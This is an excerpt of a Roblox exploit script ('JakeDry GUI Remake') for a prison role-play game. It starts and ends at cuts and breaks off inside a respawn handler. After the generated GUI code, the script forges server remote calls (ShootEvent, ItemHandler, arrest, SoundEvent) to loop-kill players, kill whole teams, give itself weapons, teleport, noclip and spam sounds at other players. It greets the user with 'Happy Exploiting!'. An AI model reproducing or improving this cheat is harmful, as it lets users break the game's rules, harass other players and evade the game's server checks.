G2L["44"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["44"]["Text"] = [[Loopkill All]];
G2L["44"]["Position"] = UDim2.new(0, 432, 0, 300);
-- StarterGui.JakeDry.MainFrame.LKAll.UIStroke
G2L["45"] = Instance.new("UIStroke", G2L["44"]);
G2L["45"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.LKAll.UITextSizeConstraint
G2L["46"] = Instance.new("UITextSizeConstraint", G2L["44"]);
G2L["46"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.KillCrims
G2L["47"] = Instance.new("TextButton", G2L["2"]);
G2L["47"]["TextWrapped"] = true;
G2L["47"]["BorderSizePixel"] = 0;
G2L["47"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["47"]["TextSize"] = 14;
G2L["47"]["TextScaled"] = true;
G2L["47"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["47"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["47"]["Size"] = UDim2.new(0, 216, 0, 50);
G2L["47"]["Name"] = [[KillCrims]];
G2L["47"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["47"]["Text"] = [[Kill Criminals]];
G2L["47"]["Position"] = UDim2.new(0, 432, 0, 349);
-- StarterGui.JakeDry.MainFrame.KillCrims.UIStroke
G2L["48"] = Instance.new("UIStroke", G2L["47"]);
G2L["48"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.KillCrims.UITextSizeConstraint
G2L["49"] = Instance.new("UITextSizeConstraint", G2L["47"]);
G2L["49"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.Noclip
G2L["4a"] = Instance.new("TextButton", G2L["2"]);
G2L["4a"]["TextWrapped"] = true;
G2L["4a"]["BorderSizePixel"] = 0;
G2L["4a"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4a"]["TextSize"] = 14;
G2L["4a"]["TextScaled"] = true;
G2L["4a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4a"]["Size"] = UDim2.new(0, 216, 0, 50);
G2L["4a"]["Name"] = [[Noclip]];
G2L["4a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4a"]["Text"] = [[Noclip]];
G2L["4a"]["Position"] = UDim2.new(0, 432, 0, 400);
-- StarterGui.JakeDry.MainFrame.Noclip.UIStroke
G2L["4b"] = Instance.new("UIStroke", G2L["4a"]);
G2L["4b"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.Noclip.UITextSizeConstraint
G2L["4c"] = Instance.new("UITextSizeConstraint", G2L["4a"]);
G2L["4c"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.FastRUn
G2L["4d"] = Instance.new("TextButton", G2L["2"]);
G2L["4d"]["TextWrapped"] = true;
G2L["4d"]["BorderSizePixel"] = 0;
G2L["4d"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4d"]["TextSize"] = 14;
G2L["4d"]["TextScaled"] = true;
G2L["4d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4d"]["Size"] = UDim2.new(0, 111, 0, 50);
G2L["4d"]["Name"] = [[FastRUn]];
G2L["4d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4d"]["Text"] = [[Fast Run]];
G2L["4d"]["Position"] = UDim2.new(0, 432, 0, 50);
-- StarterGui.JakeDry.MainFrame.FastRUn.UIStroke
G2L["4e"] = Instance.new("UIStroke", G2L["4d"]);
G2L["4e"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.FastRUn.UITextSizeConstraint
G2L["4f"] = Instance.new("UITextSizeConstraint", G2L["4d"]);
G2L["4f"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.HighJump
G2L["50"] = Instance.new("TextButton", G2L["2"]);
G2L["50"]["TextWrapped"] = true;
G2L["50"]["BorderSizePixel"] = 0;
G2L["50"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["50"]["TextSize"] = 14;
G2L["50"]["TextScaled"] = true;
G2L["50"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["50"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["50"]["Size"] = UDim2.new(0, 103, 0, 50);
G2L["50"]["Name"] = [[HighJump]];
G2L["50"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["50"]["Text"] = [[High Jump]];
G2L["50"]["Position"] = UDim2.new(0, 544, 0, 50);
-- StarterGui.JakeDry.MainFrame.HighJump.UIStroke
G2L["51"] = Instance.new("UIStroke", G2L["50"]);
G2L["51"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.HighJump.UITextSizeConstraint
G2L["52"] = Instance.new("UITextSizeConstraint", G2L["50"]);
G2L["52"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.KillAura
G2L["53"] = Instance.new("TextButton", G2L["2"]);
G2L["53"]["TextWrapped"] = true;
G2L["53"]["BorderSizePixel"] = 0;
G2L["53"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["53"]["TextSize"] = 14;
G2L["53"]["TextScaled"] = true;
G2L["53"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["53"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["53"]["Size"] = UDim2.new(0, 103, 0, 50);
G2L["53"]["Name"] = [[KillAura]];
G2L["53"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["53"]["Text"] = [[Kill Aura]];
G2L["53"]["Position"] = UDim2.new(0, 544, 0, 100);
-- StarterGui.JakeDry.MainFrame.KillAura.UIStroke
G2L["54"] = Instance.new("UIStroke", G2L["53"]);
G2L["54"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.KillAura.UITextSizeConstraint
G2L["55"] = Instance.new("UITextSizeConstraint", G2L["53"]);
G2L["55"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.ScriptClient
G2L["56"] = Instance.new("LocalScript", G2L["1"]);
G2L["56"]["Name"] = [[ScriptClient]];
-- StarterGui.JakeDry.ScriptClient
local function C_56()
local script = G2L["56"];
local Players = game:GetService("Players")
LocalPlayer = Players.LocalPlayer
PlUI = LocalPlayer.PlayerGui
local StarterGUI = game:GetService("StarterGui")
local RunService = game:GetService("RunService")
local RStep = RunService.RenderStepped
local HBeat = RunService.Heartbeat
local UI = script.Parent
MainFrame = UI.MainFrame
local UI = script.Parent
MainFrame = UI.MainFrame
MainFrame.Draggable = true;
local Rstorage = game:GetService("ReplicatedStorage")
local Rservice = game:GetService("RunService")
local Hbeat = Rservice.Heartbeat
local Rstep = Rservice.RenderStepped
local Stepped = Rservice.Stepped
local Teams = game:GetService("Teams")
local Players = game:GetService("Players")
local Camera = game:GetService("Workspace").Camera
local LocalPlayer = game.Players.LocalPlayer
local Teams = game:GetService("Teams")
local Threads, Tasks = nil, nil
local Unloaded = false
local RegModule = nil
local SavedArgs = {};
local Saved = {
WalkSpeed = nil;
RunSpeed = 25;
NormalSpeed = 16;
JumpPower = nil;
NormalJump = 50;
SpinToolRadius = 8;
SpinToolSpeed = 10;
KillDebounce = {};
MKillDebounce = {};
Cars = {};
PCEvents = {};
Thread = {};
};
local Settings = {
KillauraThreshold = 17;
JoinNotify = false;
PrintDebug = string.sub(LocalPlayer.Name, 1, 5) == "TheDestroyer" or string.sub(LocalPlayer.Name, 1, 9) == "devang099";
User = {
RankedCmds = true;
HiddenMelee = false;
HiddenArrest = false;
AutoDumpCar = false;
OldItemMethod = false;
}
};
local LocPL = {
Gamepass = nil;
UIN = LocalPlayer.Name;
UID = LocalPlayer.UserId;
ShittyExecutor = nil;
isTouch = game:GetService("UserInputService").TouchEnabled;
isMouse = game:GetService("UserInputService").MouseEnabled;
};
local CmdQueue = {};
local Loops = {
KillTeams = {
All = false;
Guards = false;
Inmates = false;
Criminals = false;
Neutrals = false;
Hostiles = false;
};
MeleeTeams = {
All = false;
Guards = false;
Inmates = false;
Criminals = false;
Neutrals = false;
};
ArrestTeams = {
Inmate = false;
Guard = false;
Criminal = false;
};
AutoArresting = {
Plr = {};
All = false;
};
TaseTeams = {
All = false;
Inmates = false;
Criminals = false;
};
Kill = {};
MeleeKill = {};
RandomKill = {};
ShootKill = {};
PunchKill = {};
VoidKill = {};
Voided = {};
Trapped = {};
Tase = {};
Arrest = {};
MakeCrim = {};
Fling = {};
CarFling = {};
Speed = false;
JumpPower = 50;
Jump = false;
};
local Powers = {
Killauras = {};
Taseauras = {};
Antitouch = {};
Antipunch = {};
Antishoot = {};
Antiarrest = {};
Onepunch = {};
Punchaura = {};
Oneshot = {};
FriendlyFire = {};
DeathNuke = {};
};
local Toggles = {
ok = false;
AutoRespawn = true;
AutoFire = false;
AutoFireRate = false;
AutoGuns = false;
AutoItems = false;
AutoInfiniteAmmo = false;
AutoGunMods = false;
AntiBring = false;
AntiTase = false;
AntiArrest = false;
AntiPunch = false;
AntiStun = false;
Antishoot = false;
AntiShield = false;
ArrestBack = false;
PunchAura = false;
SpamPunch = false;
Onepunch = false;
Oneshot = false;
Headshot = false;
Silentaim = false;
Noclip = false;
FriendlyFire = false;
MeleeAura = false;
ArrestAura = false;
MeleeTouch = false;
TKA = {
Guard = false;
Inmate = false;
Criminal = false;
Enemies = false;
};
ESP = false;
Virus = false;
};
local Teleports = {
nspawn = CFrame.new(879, 28, 2349);
cells = CFrame.new(918.9735107421875, 99.98998260498047, 2451.423583984375);
nexus = CFrame.new(877.929688, 99.9899826, 2373.57031, 0.989495575, 1.64841456e-08, 0.144563332, -3.13438235e-08, 1, 1.00512544e-07, -0.144563332, -1.0398788e-07, 0.989495575);
armory = CFrame.new(836.130432, 99.9899826, 2284.55908, 0.999849498, 5.64007507e-08, -0.0173475463, -5.636889e-08, 1, 2.3254485e-09, 0.0173475463, -1.34723666e-09, 0.999849498);
yard = CFrame.new(787.560425, 97.9999237, 2468.32056, -0.999741256, -7.32754017e-08, -0.0227459427, -7.49895506e-08, 1, 7.45077955e-08, 0.0227459427, 7.6194226e-08, -0.999741256);
crimbase = CFrame.new(-864.760071, 94.4760284, 2085.87671, 0.999284029, 1.78674284e-08, 0.0378339142, -1.85715123e-08, 1, 1.82584365e-08, -0.0378339142, -1.89479969e-08, 0.999284029);
cafe = CFrame.new(884.492798, 99.9899368, 2293.54907, -0.0628612712, -2.14097344e-08, -0.998022258, -9.52544568e-08, 1, -1.54524784e-08, 0.998022258, 9.40947018e-08, -0.0628612712);
kitchen = CFrame.new(936.633118, 99.9899368, 2224.77148, -0.00265917974, -9.30829671e-08, 0.999996483, -3.28682326e-08, 1, 9.29958901e-08, -0.999996483, -3.26208252e-08, -0.00265917974);
roof = CFrame.new(918.694092, 139.709427, 2266.60986, -0.998788536, -7.55880691e-08, -0.0492084064, -7.8453354e-08, 1, 5.62961198e-08, 0.0492084064, 6.00884817e-08, -0.998788536);
vents = CFrame.new(933.55376574342, 121.534234671875, 2232.7952174975);
office = CFrame.new(706.1928465, 103.14982749, 2344.3957382525);
ytower = CFrame.new(786.731873, 125.039917, 2587.79834, -0.0578307845, 8.82393678e-08, 0.998326421, 6.09781523e-08, 1, -8.48549675e-08, -0.998326421, 5.59688687e-08, -0.0578307845);
gtower = CFrame.new(505.551605, 125.039917, 2127.41138, -0.99910152, 5.44945458e-08, 0.0423811078, 5.36830491e-08, 1, -2.02856469e-08, -0.0423811078, -1.79922726e-08, -0.99910152);
garage = CFrame.new(618.705566, 98.039917, 2469.14136, 0.997341573, 1.85835844e-08, -0.0728682056, -1.79448154e-08, 1, 9.42077172e-09, 0.0728682056, -8.0881204e-09, 0.997341573);
sewers = CFrame.new(917.123657, 78.6990509, 2297.05298, -0.999281704, -9.98203404e-08, -0.0378962979, -1.01324503e-07, 1, 3.77708638e-08, 0.0378962979, 4.15835579e-08, -0.999281704);
neighborhood = CFrame.new(-281.254669, 54.1751289, 2484.75513, 0.0408788249, 3.26279768e-08, 0.999164104, -3.88249717e-08, 1, -3.10668256e-08, -0.999164104, -3.75225433e-08, 0.0408788249);
gas = CFrame.new(-497.284821, 54.3937759, 1686.3175, 0.585129559, -4.33374865e-08, -0.810939848, 5.33533938e-13, 1, -5.34406759e-08, 0.810939848, 3.12692876e-08, 0.585129559);
deadend = CFrame.new(-979.852478, 54.1750259, 1382.78967, 0.0152699631, 8.88235174e-09, 0.999883413, 6.75286884e-08, 1, -9.9146682e-09, -0.999883413, 6.76722109e-08, 0.0152699631);
store = CFrame.new(455.089508, 11.4253607, 1222.89746, 0.99995482, -3.92535604e-09, 0.00950394664, 2.84450263e-09, 1, 1.1374032e-07, -0.00950394664, -1.13708147e-07, 0.99995482);
roadend = CFrame.new(1060.81995, 67.5668106, 1847.08923, 0.0752086118, -1.01192255e-08, -0.997167826, 4.30985886e-10, 1, -1.01154605e-08, 0.997167826, 3.31004502e-10, 0.0752086118);
trapbuilding = CFrame.new(-306.715485, 84.2401199, 1984.13367, -0.802221119, 5.70582088e-08, -0.597027004, 4.81801123e-08, 1, 3.08312771e-08, 0.597027004, -4.0313255e-09, -0.802221119);
mansion = CFrame.new(-315.790436, 64.5724411, 1840.83521, 0.80697298, -4.47871713e-08, 0.590588331, 1.14004006e-08, 1, 6.02574701e-08, -0.590588331, -4.18932053e-08, 0.80697298);
trapbase = CFrame.new(-943.973145, 94.1287613, 1919.73694, 0.025614135, -1.48015129e-08, 0.999671876, 1.00375175e-07, 1, 1.22345032e-08, -0.999671876, 1.00028863e-07, 0.025614135);
buildingroof = CFrame.new(-317.689331, 118.838821, 2009.28186, 0.749499857, 2.48145682e-09, 0.662004471, 3.51757373e-10, 1, -4.14664703e-09, -0.662004471, 3.34077632e-09, 0.749499857);
};
local States = {
SoundSpam = false,
LoopSounds = false
};
local SavedPositions = {};
local Connections = {};
local Whitelisted = {};
local RankedPlrs = {};
local deprint = function(args)
if Settings.PrintDebug then
print(args)
end
end
local dewarn = function(args)
if Settings.PrintDebug then
warn(args)
end
end
local Notif = function(title, text, duration)
StarterGUI:SetCore("SendNotification", {
Title = title;
Text = text;
Duration = duration;
})
end
if PlUI:FindFirstChild(UI.Name) then
Notif("Jakedry GUI Remake", "Script is Already Loaded, Deleting Previous GUI.", 5)
if PlUI:FindFirstChild(UI.Name) ~= UI then
PlUI:FindFirstChild(UI.Name):Destroy()
end
else
Notif("JakeDry GUI Remake", "Script Loaded, Happy Exploiting!", 5)
end
local VKeyPress = function(args, args2, waits)
if args2 == "Press" then
game:GetService("VirtualInputManager"):SendKeyEvent(true, args, false, game)
task.wait(.1)
game:GetService("VirtualInputManager"):SendKeyEvent(false, args, false, game)
elseif args2 == "Hold" then
game:GetService("VirtualInputManager"):SendKeyEvent(true, args, false, game)
elseif args2 == "UnHold" then
game:GetService("VirtualInputManager"):SendKeyEvent(false, args, false, game)
elseif args2 == "HoldWait" and waits then
game:GetService("VirtualInputManager"):SendKeyEvent(true, args, false, game)
wait(waits)
game:GetService("VirtualInputManager"):SendKeyEvent(false, args, false, game)
end
end
local waitfor = function(source, args, interval)
local int = interval or 5
local timeout = tick() + int
repeat Stepped:Wait() until source:FindFirstChild(args) or tick() - timeout >=0
timeout = nil
if source:FindFirstChild(args) then
return source:FindFirstChild(args)
else
return nil
end
end
local SaveCamPos = function()
SavedPositions.OldCameraPos = Camera.CFrame
end
local LoadCamPos = function()
Rstep:Wait()
Camera.CFrame = SavedPositions.OldCameraPos or Camera.CFrame
end
local LocTP = function(cframe)
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame = cframe
end
local LAction = function(args, args2)
if args == "sit" then
LocalPlayer.Character:FindFirstChild("Humanoid").Sit = true
elseif args == "unsit" then
if args2 then
local human = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
for i = 1, 8 do Hbeat:Wait();human.Sit=false;Rstep:Wait();human.Sit=false;Stepped:Wait();human.Sit=false end
end;LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):ChangeState(Enum.HumanoidStateType.Running)
elseif args == "speed" then
LocalPlayer.Character:FindFirstChild("Humanoid").WalkSpeed = args2
elseif args == "jumppw" then
LocalPlayer.Character:FindFirstChild("Humanoid").JumpPower = args2
elseif args == "die" then
LocalPlayer.Character:FindFirstChild("Humanoid").Health = 0
elseif args == "died" then
LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid"):ChangeState(Enum.HumanoidStateType.Dead)
elseif args == "jump" then
LocalPlayer.Character:FindFirstChild("Humanoid"):ChangeState(Enum.HumanoidStateType.Jumping)
elseif args == "state" then
LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):ChangeState(args2)
elseif args == "equip" then
LocalPlayer.Character:FindFirstChild("Humanoid"):EquipTool(args2)
elseif args == "unequip" then
LocalPlayer.Character:FindFirstChild("Humanoid"):UnequipTools()
end
end
--Command functions
local PlrFromArgs = function(plr, args)
if plr and plr:lower() == "me" then
return args
elseif not plr and not args then
return false
elseif not plr and args then
return args
end
local foundplr = false
for i,v in pairs(Players:GetPlayers()) do
local Name, DisplayName = v.Name:lower(), v.DisplayName:lower()
if Name:sub(1, #plr) == plr:lower() or DisplayName:sub(1, #plr) == plr:lower() then
foundplr = v
end
end
return foundplr
end
local GetRandomPlr = function(args)
local DaPlayers = Players:GetPlayers()
local DaIndex = math.random(1, #DaPlayers)
local ToReturn = DaPlayers[DaIndex]
if args and ToReturn.UserId == args.UserId then
DaPlayers = Players:GetPlayers(); DaIndex = math.random(1, #DaPlayers); ToReturn = DaPlayers[DaIndex]
end
return ToReturn
end
--i made it into a whole useless function just to save my hands
local CheckWhitelist = function(args)
return not (Whitelisted[args.UserId] or Settings.Ranked.AutoWhitelist and RankedPlrs[args.UserId])
end
local MeleEve = function(args)
Rstorage.meleeEvent:FireServer(args)
end
local TeamEve = function(args)
workspace.Remote.TeamEvent:FireServer(args)
end
local ArrestEve = function(args, repeated, interval)
if repeated then
for i = 1, repeated do
if interval then task.wait(interval) end
task.spawn(function()
if args.Character:FindFirstChild("Humanoid") and args.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then
workspace.Remote.arrest:InvokeServer(args.Character:FindFirstChildWhichIsA("Part"))
end
end)
end
else
workspace.Remote.arrest:InvokeServer(args.Character:FindFirstChildWhichIsA("Part"))
end
end
local RTPing = function(value)
if value then
task.wait(value)
end
local RT1 = tick()
pcall(function()
workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.buttons["Car Spawner"]["Car Spawner"])
end)
local RT2 = tick()
local RoundTrip = (RT2-RT1) * 1000
return RoundTrip
end
local CPing = function(ConvertToHuman, OneWayTrip)
if ConvertToHuman then
return OneWayTrip and LocalPlayer:GetNetworkPing() * 1000 or game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValue()
else
return OneWayTrip and LocalPlayer:GetNetworkPing() or game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValue() / 1000
end
end
local TeamTo = function(args)
local tempos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame; SavedPositions.AutoRe = tempos; SaveCamPos()
if args == "criminal" then
if LocalPlayer.TeamColor.Name == "Medium stone grey" then
TeamEve("Bright orange")
end
workspace["Criminals Spawn"].SpawnLocation.CanCollide = false
repeat
pcall(function()
workspace["Criminals Spawn"].SpawnLocation.CFrame = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
end)
Stepped:Wait()
until LocalPlayer.TeamColor == BrickColor.new("Really red")
workspace['Criminals Spawn'].SpawnLocation.CFrame = SavedPositions.Crimpad
return
elseif args == "inmate" then
TeamEve("Bright orange")
elseif args == "guard" then
TeamEve("Bright blue")
if #Teams.Guards:GetPlayers() > 7 then
return
end
end
LocalPlayer.CharacterAdded:Wait(); waitfor(LocalPlayer.Character, "HumanoidRootPart", 5).CFrame = tempos; LoadCamPos()
end
local ItemGrab = function(source, args)
local lroot = LocalPlayer.Character:FindFirstChild("HumanoidRootPart"); local timeout = tick() + 5
if lroot then SavedPositions.GetGunOldPos = not SavedPositions.GetGunOldPos and lroot.CFrame or SavedPositions.GetGunOldPos; end
local DaItem = source:FindFirstChild(args); local ItemPickup = DaItem.ITEMPICKUP; local IPickup = ItemPickup.Position
if lroot then LocTP(CFrame.new(IPickup)); end; repeat task.wait()
pcall(function()
LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit = false; LocTP(CFrame.new(IPickup))
end); task.spawn(function()
game:GetService("Workspace").Remote.ItemHandler:InvokeServer(ItemPickup)
end)
until LocalPlayer.Backpack:FindFirstChild(args) or LocalPlayer.Character:FindFirstChild(args) or tick() - timeout >=0
pcall(function() LocTP(SavedPositions.GetGunOldPos); end); SavedPositions.GetGunOldPos = nil
end
local ItemHand = function(source, args)
if source and source == "old" then
game:GetService("Workspace").Remote.ItemHandler:InvokeServer(args)
return
end; if Settings.User.OldItemMethod then
if source then
ItemGrab(source, args)
else
for _,sources in pairs(workspace.Prison_ITEMS:GetChildren()) do
if sources:FindFirstChild(args) then
ItemGrab(source, args)
break
end
end
end
return
end; if source then
workspace.Remote.ItemHandler:InvokeServer({Position = LocalPlayer.Character.Head.Position, Parent = source:FindFirstChild(args)})
else
workspace.Remote.ItemHandler:InvokeServer({Position = LocalPlayer.Character.Head.Position, Parent = workspace.Prison_ITEMS.giver:FindFirstChild(args) or workspace.Prison_ITEMS.single:FindFirstChild(args)})
end
end
local Gun = function(args)
if Settings.User.OldItemMethod then
ItemHand(workspace["Prison_ITEMS"].giver, args)
return
end; workspace.Remote.ItemHandler:InvokeServer({Position = LocalPlayer.Character.Head.Position, Parent = workspace.Prison_ITEMS.giver:FindFirstChild(args) or workspace.Prison_ITEMS.single:FindFirstChild(args)})
end
local AllGuns = function()
if Settings.User.OldItemMethod then
Gun("AK-47")
Gun("Remington 870")
else
task.spawn(Gun, "AK-47")
task.spawn(Gun, "Remington 870")
end
Gun("M9")
task.wait()
end
local CreateClientRay = function(RayS, CustomColor)
for i = 1, #RayS do
local NewRay = Instance.new("Part", workspace.CurrentCamera)
NewRay.Name = "ClientRay"
NewRay.Material = Enum.Material.Neon
NewRay.Anchored = true
NewRay.CanCollide = false
NewRay.Transparency = 0.5
NewRay.formFactor = Enum.FormFactor.Custom
NewRay.Size = Vector3.new(0.2, 0.2, RayS[i].Distance)
NewRay.CFrame = RayS[i].Cframe
local Mesh = Instance.new("BlockMesh", NewRay)
Mesh.Scale = Vector3.new(0.5, 0.5, 1)
if CustomColor then
NewRay.BrickColor = BrickColor.new(CustomColor)
else
NewRay.BrickColor = BrickColor.Yellow()
end
game:GetService("Debris"):AddItem(NewRay, 0.05)
end
end
local MultiKill = function(plrs, exclude)
local AK = LocalPlayer.Backpack:FindFirstChild("AK-47") or LocalPlayer.Character:FindFirstChild("AK-47")
if not AK and not (LocalPlayer.TeamColor == BrickColor.new("Bright blue")) then
Gun("AK-47")
task.wait()
AK = LocalPlayer.Backpack:FindFirstChild("AK-47") or LocalPlayer.Character:FindFirstChild("AK-47")
elseif LocalPlayer.TeamColor == BrickColor.new("Bright blue") then
AK = LocalPlayer.Backpack:FindFirstChild("M9") or LocalPlayer.Character:FindFirstChild("M9")
end
local neutralkill, hasplayers = nil, nil
local ShootEvents = {}
for i,v in pairs(plrs:GetPlayers()) do
if not (v == LocalPlayer or v == exclude) then
if v.Character and not v.Character:FindFirstChildWhichIsA("ForceField") and not (v.Character:FindFirstChild("Humanoid").Health == 0) then
hasplayers = true
if v.TeamColor == LocalPlayer.TeamColor then
if v.TeamColor == BrickColor.new("Bright orange") then
TeamTo("criminal")
elseif v.TeamColor == BrickColor.new("Really red") or v.TeamColor == BrickColor.new("Bright blue") then
neutralkill = true
end
end
for i = 1, 10 do
ShootEvents[#ShootEvents + 1] = {
Hit = v.Character:FindFirstChildOfClass("Part");
Cframe = CFrame.new();
RayObject = Ray.new(Vector3.new(), Vector3.new());
Distance = 0;
}
end
end
end
end
if not hasplayers then
return
end
task.spawn(function()
for i = 1, 20 do
Rstorage.ReloadEvent:FireServer(AK)
task.wait(.1)
end
end)
if neutralkill then
SavedPositions.AutoRe = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
SaveCamPos()
TeamEve("Medium stone grey")
Rstorage.ShootEvent:FireServer(ShootEvents, AK)
task.wait(0.06)
TeamEve("Bright orange")
else
Rstorage.ShootEvent:FireServer(ShootEvents, AK)
end
end
local ShootKill = function(plr, amount, guntouse, hitpart)
if plr.Character and plr.Character:FindFirstChildOfClass("Humanoid") and plr.Character.Humanoid.Health ~= 0 then
if plr.TeamColor == LocalPlayer.TeamColor then
if plr.TeamColor == BrickColor.new("Bright orange") then
TeamTo("criminal")
else
TeamTo("inmate")
RTPing(0.1)
end
end
local DeGun = guntouse or "AK-47"
local HasGun = LocalPlayer.Character:FindFirstChild(DeGun) or LocalPlayer.Backpack:FindFirstChild(DeGun)
if not HasGun then
Gun(DeGun)
HasGun = waitfor(LocalPlayer.Backpack, DeGun, 1)
end
local ToHit = hitpart or plr.Character:FindFirstChildWhichIsA("BasePart")
local Times = amount or 15
LAction("equip", HasGun)
for i = 1, Times do
if not HasGun then
break
end
local Start, End = HasGun:FindFirstChild("Muzzle").Position, plr.Character:FindFirstChild("HumanoidRootPart").Position
local EA = {
[1] = {
Hit = ToHit;
Cframe = CFrame.new(End, Start) * CFrame.new(0, 0, -(Start-End).Magnitude / 2);
Distance = (Start-End).Magnitude;
RayObject = Ray.new(Vector3.new(), Vector3.new());
};
};
if DeGun == "Remington 870" then
for i = 1, 4 do
local tmp = End
End = End + Vector3.new(math.random(-1, 1), math.random(-1, 2), math.random(-1, 1))
EA[#EA+1] = {
Hit = ToHit;
Cframe = CFrame.new(End, Start) * CFrame.new(0, 0, -(Start-End).Magnitude / 2);
Distance = (Start-End).Magnitude;
RayObject = Ray.new(Vector3.new(), Vector3.new());
};
End = tmp
tmp = nil
end
end
CreateClientRay(EA)
Rstorage.ShootEvent:FireServer(EA, HasGun)
Rstorage.ReloadEvent:FireServer(HasGun)
task.wait(.1)
if plr.Character and plr.Character:FindFirstChildOfClass("Humanoid").Health == 0 then
break
end
end
end
end
SoundSpam = function()
task.spawn(function()
while States.SoundSpam do task.wait()
local sounds = {}
for ii,vv in next, workspace:GetDescendants() do
if vv:IsA("Sound") then
sounds[#sounds+1] = vv
end
end; task.wait()
pcall(function()
for i,v in pairs(Players:GetPlayers()) do
if v.Character and v.Character:FindFirstChild("Head") then
local vhead = v.Character:FindFirstChild("Head")
for ii,vv in ipairs(sounds) do
Rstorage.SoundEvent:FireServer(vv, vhead); vv:Play()
end
end; wait(CPing()+0.15)
end; sounds = nil
end)
task.wait(.1); RTPing()
end
end)
end;
LoopSounds = function()
task.spawn(function()
while States.LoopSounds do task.wait()
pcall(function()
for i,v in pairs(Players:GetPlayers()) do
if v and v.Character then
local head = v.Character.Head
local punch = head.punchSound; punch.Volume = math.huge
Rstorage.SoundEvent:FireServer(punch)
local ring = workspace["Prison_guardspawn"].spawn.Sound
Rstorage.SoundEvent:FireServer(ring, head)
ring:Play(); punch:Play()
end
end
end); task.wait(.08)
end
end)
end;
SavedPositions.AutoRe = false
local diedevent
local lochar = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
local function ondiedevent()
coroutine.wrap(function()
diedevent:Disconnect(); SaveCamPos()
SavedPositions.AutoRe = lochar:WaitForChild("HumanoidRootPart", 1) and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
end)()
if Toggles.AutoRespawn then
local locteam = LocalPlayer.TeamColor
if locteam == BrickColor.new("Really red") then
if #Teams.Guards:GetPlayers() < 8 then
TeamEve("Bright blue")
else
TeamEve("Bright orange")
end
workspace["Criminals Spawn"].SpawnLocation.CanCollide = false
workspace["Criminals Spawn"].SpawnLocation.CFrame = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
LocalPlayer.CharacterAdded:Wait()
repeat task.wait()
pcall(function()
workspace["Criminals Spawn"].SpawnLocation.CFrame = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
end)
until LocalPlayer.TeamColor == BrickColor.new("Really red"); workspace['Criminals Spawn'].SpawnLocation.CFrame = SavedPositions.Crimpad
elseif locteam == BrickColor.new("Bright blue") then
if #Teams.Guards:GetPlayers() == 8 then
TeamEve("Bright orange")
end; TeamEve("Bright blue")
elseif locteam == BrickColor.new("Bright orange") then
TeamEve("Bright orange")
else
TeamEve("Medium stone grey")
end
end
end
local function charaddtask()
diedevent:Disconnect()
local LHuman = lochar:WaitForChild("Humanoid", 1)
if LHuman then
diedevent = LHuman.Died:Connect(ondiedevent)
if Connections.Humanation then
Connections.Humanation:Disconnect(); Connections.Humanation = nil
end
Connections.Humanation = LHuman.AnimationPlayed:Connect(function(des)
if Toggles.AntiArrest and des.Animation.AnimationId == "rbxassetid://287112271" then
des:Stop(); des:Destroy()
task.delay(4.95, function()
